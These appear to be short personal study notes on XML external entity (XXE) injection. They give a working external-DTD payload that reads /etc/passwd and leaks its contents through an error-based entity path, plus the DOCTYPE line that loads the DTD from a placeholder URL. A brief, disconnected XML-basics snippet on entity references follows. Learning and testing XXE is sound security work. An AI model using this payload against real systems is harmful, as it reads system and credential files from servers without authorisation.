Tips:

when using an External DTD. if the data we are exfiltraing are going to be placed into a string.

We'd have to use %xxe;

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

Note above piece of XML code is going to be placed inside of 'YOUR-DTD-URL' <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]> . so its already inside of a Double-Quote String.

inside the string, we must use % to specifiy the var. Kind of like $(var) in Bash.

XML Introduction

XML Entity References.

Some characters have a special meaning in XML.

If you place a character like "<" inside an XML element, it will generate an error because the parser interprets it as the start of a new element.

This will generate an XML error:

<message>salary < 1000</message>